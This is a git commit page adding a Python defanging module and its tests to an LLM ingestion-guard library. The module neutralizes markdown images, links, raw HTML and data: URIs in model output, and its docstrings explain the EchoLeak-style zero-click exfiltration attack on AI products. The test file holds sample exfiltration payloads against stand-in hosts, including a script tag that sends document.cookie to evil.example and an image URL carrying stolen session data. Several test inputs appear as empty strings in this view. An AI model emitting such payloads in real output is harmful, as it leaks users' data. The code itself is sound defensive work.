feat(neutralize): opt-in pure defang of active-content output (TDD) [skip-docs]
Build-order step 6. Close the EchoLeak class (CVE-2025-32711): active content in persisted model OUTPUT that a downstream renderer auto-fetches or makes clickable, exfiltrating data zero-click. These carriers are neither injection strings nor high-entropy, so lexicon + entropy miss them — a distinct control (OWASP LLM05, Improper Output Handling). Defang, don't delete. URLs in active-content position are rewritten to a non-resolvable but auditable form (https://evil.com -> hxxps://evil[.]com; data:/javascript: colon neutralized to [:]); raw active HTML is escaped so a renderer shows inert literal text. Visible information survives review; only the machine-actionable affordance dies. Dot-defang is idempotent (never [[.]]). Six classes, each a Finding: markdown-image (HIGH, the zero-click primitive), inline-link (MEDIUM), reference-link definition (MEDIUM, the documented image-filter bypass), angle-bracket autolink (MEDIUM), raw active HTML (HIGH, inherently-active tag OR event/URL attribute — benign <b>/<em> left untouched), standalone data: URI (HIGH). Processing order prevents double-counting. Opt-in and separate: calling neutralize() IS the opt-in to mutate; the report-only gate stays pure (design principles 3 & 4). Byte-identical on clean output, mirror of the sanitizer invariant. Scope conceded in the docstring: a targeted defanger, not a full HTML sanitizer. 17 tests: byte-identity + FP guards (lone <>[], metadata:, benign HTML), image defang + non-resolvability, secret-exfil URL, inline/reference/autolink, raw-html escape + script neutralization, data: URI, no double-count, counts, source. [skip-docs]: README positioning + honest-limitations remains the deliberate build-order step-11 deliverable (steps 1-5 likewise left README frozen). Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01HyRCQMocjZ6SmSQ6JidJ2k
This commit is contained in:
parent
5fb7e0c9fa
commit
78c9f2f7f1
2 changed files with 363 additions and 0 deletions
222
src/llm_ingestion_guard/neutralize.py
Normal file
222
src/llm_ingestion_guard/neutralize.py
Normal file
|
|
@ -0,0 +1,222 @@
|
|||
"""neutralize — opt-in, pure defang of active content in model OUTPUT.
|
||||
|
||||
Query-time guardrails guard the answer; this guards the *persisted artifact*.
|
||||
When model output is written to a wiki, doc, or knowledge base and later rendered,
|
||||
active-content constructs become an exfiltration channel: a markdown image URL is
|
||||
auto-fetched the moment the page renders, leaking whatever the attacker packed
|
||||
into it — with no click. This is the EchoLeak class (CVE-2025-32711). Such
|
||||
carriers are neither injection strings nor high-entropy blobs, so ``lexicon`` and
|
||||
``entropy`` do not see them; neutralizing them is a distinct control (OWASP
|
||||
LLM05 — Improper Output Handling).
|
||||
|
||||
Defang, don't delete. Each active construct is rewritten to an inert but still
|
||||
human-auditable form: URLs get a non-resolvable scheme and bracketed dots
|
||||
(``https://evil.com`` -> ``hxxps://evil[.]com``), and raw active HTML is escaped
|
||||
so a renderer shows it as literal text instead of executing it. The visible
|
||||
information survives review; only the machine-actionable affordance dies.
|
||||
|
||||
Two properties are load-bearing and mirror the sanitizer:
|
||||
|
||||
1. **Opt-in and separate.** Calling this function *is* the opt-in to mutate.
|
||||
Detection elsewhere in the library stays report-only (design principles 3 & 4);
|
||||
the report-only output gate (``output``) never rewrites. A caller that wants
|
||||
findings without mutation reads ``result.report`` and discards ``result.text``.
|
||||
2. **Byte-identical on clean input.** Output with no active construct is returned
|
||||
unchanged with an empty report. Benign inline formatting (``<b>``, ``<em>``)
|
||||
and prose containing stray ``<``, ``>``, ``[`` are left untouched.
|
||||
|
||||
Scope note (conceded, not hidden): this is a targeted defanger, not a full HTML
|
||||
sanitizer. Text *between* escaped tags (e.g. a ``<script>`` body) is neutralized
|
||||
as active content by escaping the tags, but bare URLs left in that residual text
|
||||
stay visible; balanced-parenthesis link URLs are matched conservatively. The goal
|
||||
is to kill the zero-click auto-fetch/execute affordance, not to rewrite every URL.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
from dataclasses import dataclass
|
||||
|
||||
from .report import Finding, Report, Severity, Source
|
||||
|
||||
# --- URL defang -------------------------------------------------------------
|
||||
# Rewrite a URL to a form no renderer will resolve, while keeping it readable.
|
||||
# Dangerous schemes (data:, javascript:, ...) get their colon neutralized;
|
||||
# network schemes get the classic threat-intel treatment (hxxp / hxxps).
|
||||
_DANGER_SCHEME_RE = re.compile(r"^(javascript|data|vbscript|file|blob)(?=:)", re.IGNORECASE)
|
||||
_SCHEME_SUBS = (
|
||||
(re.compile(r"^https", re.IGNORECASE), "hxxps"),
|
||||
(re.compile(r"^http", re.IGNORECASE), "hxxp"),
|
||||
(re.compile(r"^ftp", re.IGNORECASE), "fxp"),
|
||||
)
|
||||
# Dot-defang that is idempotent: never touches a `.` already inside `[.]`.
|
||||
_DOT_RE = re.compile(r"(?<!\[)\.(?!\])")
|
||||
# A bare http(s)/ftp URL embedded in other text (used inside escaped HTML).
|
||||
_URL_IN_TEXT_RE = re.compile(r"[A-Za-z][A-Za-z0-9+.\-]*://[^\s'\"<>]+")
|
||||
|
||||
|
||||
def _defang_url(url: str) -> str:
|
||||
"""Rewrite ``url`` to a non-resolvable, human-auditable form. Idempotent."""
|
||||
m = _DANGER_SCHEME_RE.match(url)
|
||||
if m:
|
||||
url = url[: m.end(1)] + "[:]" + url[m.end(1) + 1 :]
|
||||
else:
|
||||
for pattern, repl in _SCHEME_SUBS:
|
||||
url, n = pattern.subn(repl, url)
|
||||
if n:
|
||||
break
|
||||
return _DOT_RE.sub("[.]", url)
|
||||
|
||||
|
||||
# --- Active-content constructs ----------------------------------------------
|
||||
# Markdown image / inline link: `[text](url "title")`. `url` stops at the first
|
||||
# `)` or whitespace (balanced-paren URLs matched conservatively — see scope note).
|
||||
_MD_IMAGE_RE = re.compile(
|
||||
r"!\[(?P<alt>[^\]]*)\]\(\s*(?P<url>[^)\s]+)(?P<title>(?:\s+\"[^\"]*\")?)\s*\)"
|
||||
)
|
||||
_MD_LINK_RE = re.compile(
|
||||
r"(?<!!)\[(?P<text>[^\]]*)\]\(\s*(?P<url>[^)\s]+)(?P<title>(?:\s+\"[^\"]*\")?)\s*\)"
|
||||
)
|
||||
# Reference-style link definition: `[label]: destination`. Only fires when the
|
||||
# destination is absolute (has a scheme or is protocol-relative) — a footnote
|
||||
# `[1]: some plain text` is not a link target and is left alone.
|
||||
_MD_REFDEF_RE = re.compile(
|
||||
r"(?m)^(?P<pre>[ ]{0,3}\[[^\]]+\]:\s*)(?P<url>[A-Za-z][\w+.\-]*:\S+|//\S+)"
|
||||
)
|
||||
# Angle-bracket autolink: `<scheme:...>`.
|
||||
_AUTOLINK_RE = re.compile(r"<(?P<url>[A-Za-z][A-Za-z0-9+.\-]*:[^>\s]+)>")
|
||||
# Standalone `data:` URI in prose (not preceded by a letter/digit -> "metadata:"
|
||||
# is not a match), consuming to the next whitespace / quote / bracket.
|
||||
_DATA_URI_RE = re.compile(r"(?<![A-Za-z0-9])data:[^\s'\"<>)]+", re.IGNORECASE)
|
||||
|
||||
# Raw HTML tag. Attribute values may hold `>` inside quotes, so quoted runs are
|
||||
# consumed atomically. A tag is *active* if it is an inherently-executing element,
|
||||
# carries an event handler, or carries a URL-bearing attribute.
|
||||
_HTML_TAG_RE = re.compile(r"<(?P<slash>/?)(?P<name>[A-Za-z][A-Za-z0-9:-]*)(?P<attrs>(?:[^>\"']|\"[^\"]*\"|'[^']*')*)>")
|
||||
_EVENT_ATTR_RE = re.compile(r"\bon[a-z]+\s*=", re.IGNORECASE)
|
||||
_URL_ATTR_RE = re.compile(
|
||||
r"\b(?:src|href|xlink:href|srcset|data|poster|formaction|action|background|cite|codebase|longdesc)\s*=",
|
||||
re.IGNORECASE,
|
||||
)
|
||||
_ACTIVE_TAGS = frozenset({
|
||||
"script", "iframe", "object", "embed", "svg", "math", "link", "meta", "base",
|
||||
"form", "img", "input", "button", "video", "audio", "source", "track", "a",
|
||||
"area", "frame", "frameset", "applet", "style",
|
||||
})
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class NeutralizeResult:
|
||||
"""The defanged text plus a report of every construct that was neutralized."""
|
||||
|
||||
text: str
|
||||
report: Report
|
||||
|
||||
|
||||
def _redact(s: str, show_start: int = 16, show_end: int = 6) -> str:
|
||||
if len(s) <= show_start + show_end + 3:
|
||||
return s
|
||||
return f"{s[:show_start]}...{s[-show_end:]}"
|
||||
|
||||
|
||||
def neutralize(text: str, source: Source = Source.OUTPUT) -> NeutralizeResult:
|
||||
"""Defang active-content constructs in ``text`` and report each class.
|
||||
|
||||
Rewrites markdown images/links, reference-link definitions, angle-bracket
|
||||
autolinks, raw active HTML, and ``data:`` URIs into inert forms. Text with no
|
||||
such construct is returned byte-identical with an empty report.
|
||||
"""
|
||||
report = Report()
|
||||
out = text
|
||||
|
||||
def _flag(label: str, severity: Severity, count: int, evidence: str) -> None:
|
||||
report.add(Finding(
|
||||
label=label, severity=severity, source=source, detector="neutralize",
|
||||
count=count, evidence=_redact(evidence), owasp="LLM05",
|
||||
))
|
||||
|
||||
# 1. Markdown images — the zero-click auto-fetch primitive (EchoLeak). Run
|
||||
# first so the leading `!` is consumed before the inline-link pass.
|
||||
img_ev: list[str] = []
|
||||
|
||||
def _img(m: re.Match[str]) -> str:
|
||||
defanged = _defang_url(m.group("url"))
|
||||
img_ev.append(defanged)
|
||||
return f'![{m.group("alt")}]({defanged}{m.group("title")})'
|
||||
|
||||
out, n_img = _MD_IMAGE_RE.subn(_img, out)
|
||||
if n_img:
|
||||
_flag("neutralize:markdown-image", Severity.HIGH, n_img, img_ev[0])
|
||||
|
||||
# 2. Markdown inline links — clickable / prefetchable exfil target.
|
||||
link_ev: list[str] = []
|
||||
|
||||
def _link(m: re.Match[str]) -> str:
|
||||
defanged = _defang_url(m.group("url"))
|
||||
link_ev.append(defanged)
|
||||
return f'[{m.group("text")}]({defanged}{m.group("title")})'
|
||||
|
||||
out, n_link = _MD_LINK_RE.subn(_link, out)
|
||||
if n_link:
|
||||
_flag("neutralize:markdown-link", Severity.MEDIUM, n_link, link_ev[0])
|
||||
|
||||
# 3. Reference-style link definitions — the documented image-filter bypass.
|
||||
ref_ev: list[str] = []
|
||||
|
||||
def _ref(m: re.Match[str]) -> str:
|
||||
defanged = _defang_url(m.group("url"))
|
||||
ref_ev.append(defanged)
|
||||
return m.group("pre") + defanged
|
||||
|
||||
out, n_ref = _MD_REFDEF_RE.subn(_ref, out)
|
||||
if n_ref:
|
||||
_flag("neutralize:reference-link", Severity.MEDIUM, n_ref, ref_ev[0])
|
||||
|
||||
# 4. Angle-bracket autolinks.
|
||||
auto_ev: list[str] = []
|
||||
|
||||
def _auto(m: re.Match[str]) -> str:
|
||||
defanged = _defang_url(m.group("url"))
|
||||
auto_ev.append(defanged)
|
||||
return f"<{defanged}>"
|
||||
|
||||
out, n_auto = _AUTOLINK_RE.subn(_auto, out)
|
||||
if n_auto:
|
||||
_flag("neutralize:autolink", Severity.MEDIUM, n_auto, auto_ev[0])
|
||||
|
||||
# 5. Raw active HTML — escape so a renderer shows it as inert literal text.
|
||||
html_state = {"count": 0, "ev": ""}
|
||||
|
||||
def _html(m: re.Match[str]) -> str:
|
||||
tag = m.group(0)
|
||||
attrs = m.group("attrs") or ""
|
||||
active = (
|
||||
m.group("name").lower() in _ACTIVE_TAGS
|
||||
or _EVENT_ATTR_RE.search(attrs)
|
||||
or _URL_ATTR_RE.search(attrs)
|
||||
)
|
||||
if not active:
|
||||
return tag
|
||||
html_state["count"] += 1
|
||||
if not html_state["ev"]:
|
||||
html_state["ev"] = tag
|
||||
inert = _URL_IN_TEXT_RE.sub(lambda u: _defang_url(u.group(0)), tag)
|
||||
return inert.replace("<", "<").replace(">", ">")
|
||||
|
||||
out = _HTML_TAG_RE.sub(_html, out)
|
||||
if html_state["count"]:
|
||||
_flag("neutralize:raw-html", Severity.HIGH, html_state["count"], html_state["ev"])
|
||||
|
||||
# 6. Standalone `data:` URIs left in prose (those inside constructs above are
|
||||
# already defanged; the literal `data:` colon is gone, so no double count).
|
||||
data_ev: list[str] = []
|
||||
|
||||
def _data(m: re.Match[str]) -> str:
|
||||
defanged = _defang_url(m.group(0))
|
||||
data_ev.append(defanged)
|
||||
return defanged
|
||||
|
||||
out, n_data = _DATA_URI_RE.subn(_data, out)
|
||||
if n_data:
|
||||
_flag("neutralize:data-uri", Severity.HIGH, n_data, data_ev[0])
|
||||
|
||||
return NeutralizeResult(text=out, report=report)
|
||||
141
tests/test_neutralize.py
Normal file
141
tests/test_neutralize.py
Normal file
|
|
@ -0,0 +1,141 @@
|
|||
"""Tests for active-content neutralization (build order step 6).
|
||||
|
||||
``neutralize`` is the opt-in, PURE defang helper for model OUTPUT. It closes the
|
||||
EchoLeak class (CVE-2025-32711): active content in persisted model output that a
|
||||
downstream renderer auto-fetches (markdown images) or makes clickable, leaking
|
||||
data zero-click. These carriers are neither injection strings nor high-entropy,
|
||||
so lexicon + entropy miss them entirely.
|
||||
|
||||
Invariants mirror the sanitizer: clean output returns byte-identical with an
|
||||
empty report; only active-content constructs are ever rewritten. Mutation lives
|
||||
here, kept separate from the report-only output gate (design principles 3 & 4).
|
||||
The transform is pure ``text -> (defanged_text, report)`` — no I/O, no globals.
|
||||
"""
|
||||
from llm_ingestion_guard.neutralize import neutralize
|
||||
from llm_ingestion_guard.report import Severity, Source
|
||||
|
||||
|
||||
def test_clean_output_is_byte_identical():
|
||||
text = "A perfectly ordinary wiki paragraph. Costs $5! See section [1] below (really)."
|
||||
result = neutralize(text)
|
||||
assert result.text == text
|
||||
assert result.report.found is False
|
||||
|
||||
|
||||
def test_default_source_is_output():
|
||||
# Unlike sanitize/fence (INPUT), this module targets the model's OUTPUT.
|
||||
result = neutralize("")
|
||||
assert result.report.found is True
|
||||
assert all(f.source is Source.OUTPUT for f in result.report.findings)
|
||||
|
||||
|
||||
def test_markdown_image_is_defanged_high_severity():
|
||||
# The EchoLeak primitive: an auto-fetched image URL carrying exfiltrated data.
|
||||
result = neutralize("")
|
||||
assert "https://evil.example" not in result.text # fetchable URL is gone
|
||||
assert "hxxps" in result.text
|
||||
assert "logo" in result.text # alt text preserved for audit
|
||||
img = [f for f in result.report.findings if f.label == "neutralize:markdown-image"]
|
||||
assert len(img) == 1
|
||||
assert img[0].severity is Severity.HIGH
|
||||
assert img[0].detector == "neutralize"
|
||||
assert img[0].owasp == "LLM05"
|
||||
|
||||
|
||||
def test_defanged_url_is_not_resolvable():
|
||||
result = neutralize("")
|
||||
# Scheme neutralized and host dots bracketed -> no renderer will resolve it.
|
||||
assert "hxxps://evil[.]example" in result.text
|
||||
|
||||
|
||||
def test_secret_exfil_url_no_longer_fetchable():
|
||||
exfil = "STOLEN-SESSION-DATA"
|
||||
result = neutralize(f"")
|
||||
# The secret text may remain visible, but never inside a fetchable URL.
|
||||
assert "http://attacker.test" not in result.text
|
||||
assert "hxxp://attacker[.]test" in result.text
|
||||
|
||||
|
||||
def test_inline_link_is_defanged_medium():
|
||||
result = neutralize("click [here](https://evil.example/go) now")
|
||||
assert "https://evil.example" not in result.text
|
||||
assert "here" in result.text
|
||||
link = [f for f in result.report.findings if f.label == "neutralize:markdown-link"]
|
||||
assert len(link) == 1
|
||||
assert link[0].severity is Severity.MEDIUM
|
||||
|
||||
|
||||
def test_image_is_not_double_counted_as_link():
|
||||
result = neutralize("")
|
||||
labels = {f.label for f in result.report.findings}
|
||||
assert "neutralize:markdown-image" in labels
|
||||
assert "neutralize:markdown-link" not in labels
|
||||
|
||||
|
||||
def test_reference_style_link_definition_is_defanged():
|
||||
text = "See [the doc][ref].\n\n[ref]: https://evil.example/leak"
|
||||
result = neutralize(text)
|
||||
assert "https://evil.example" not in result.text
|
||||
assert any(f.label == "neutralize:reference-link" for f in result.report.findings)
|
||||
|
||||
|
||||
def test_angle_bracket_autolink_is_defanged():
|
||||
result = neutralize("read more <https://evil.example/x> here")
|
||||
assert "https://evil.example" not in result.text
|
||||
assert "hxxps://evil[.]example" in result.text
|
||||
assert any(f.label == "neutralize:autolink" for f in result.report.findings)
|
||||
|
||||
|
||||
def test_raw_active_html_is_escaped():
|
||||
result = neutralize('<img src="https://evil.example/leak?d=x">')
|
||||
assert "<img" not in result.text # no longer renders as active content
|
||||
assert "<img" in result.text
|
||||
html = [f for f in result.report.findings if f.label == "neutralize:raw-html"]
|
||||
assert len(html) == 1
|
||||
assert html[0].severity is Severity.HIGH
|
||||
|
||||
|
||||
def test_benign_formatting_html_is_left_untouched():
|
||||
text = "This is **bold** and <b>strong</b> and <em>emph</em> text."
|
||||
result = neutralize(text)
|
||||
assert result.text == text
|
||||
assert result.report.found is False
|
||||
|
||||
|
||||
def test_script_tag_is_neutralized():
|
||||
result = neutralize("<script>fetch('https://evil.example/'+document.cookie)</script>")
|
||||
assert "<script>" not in result.text
|
||||
assert any(f.label == "neutralize:raw-html" for f in result.report.findings)
|
||||
|
||||
|
||||
def test_standalone_data_uri_is_defanged():
|
||||
result = neutralize("open data:text/html;base64,PHNjcmlwdD4= please")
|
||||
assert "data:text/html" not in result.text
|
||||
assert any(f.label == "neutralize:data-uri" for f in result.report.findings)
|
||||
|
||||
|
||||
def test_data_uri_does_not_match_inside_a_word():
|
||||
# "metadata:" must not be mistaken for a data: URI (FP guard, as in sanitize).
|
||||
text = "the metadata: field is documented here"
|
||||
result = neutralize(text)
|
||||
assert result.text == text
|
||||
assert result.report.found is False
|
||||
|
||||
|
||||
def test_multiple_images_are_counted():
|
||||
result = neutralize(" ")
|
||||
img = [f for f in result.report.findings if f.label == "neutralize:markdown-image"][0]
|
||||
assert img.count == 2
|
||||
|
||||
|
||||
def test_source_override_is_respected():
|
||||
result = neutralize("", source=Source.INPUT)
|
||||
assert all(f.source is Source.INPUT for f in result.report.findings)
|
||||
|
||||
|
||||
def test_prose_with_lone_brackets_and_angles_is_identical():
|
||||
# FP guards: none of these are active constructs.
|
||||
text = "if a < b and c > d then see [note] and call f(x)."
|
||||
result = neutralize(text)
|
||||
assert result.text == text
|
||||
assert result.report.found is False
|
||||
Loading…
Add table
Add a link
Reference in a new issue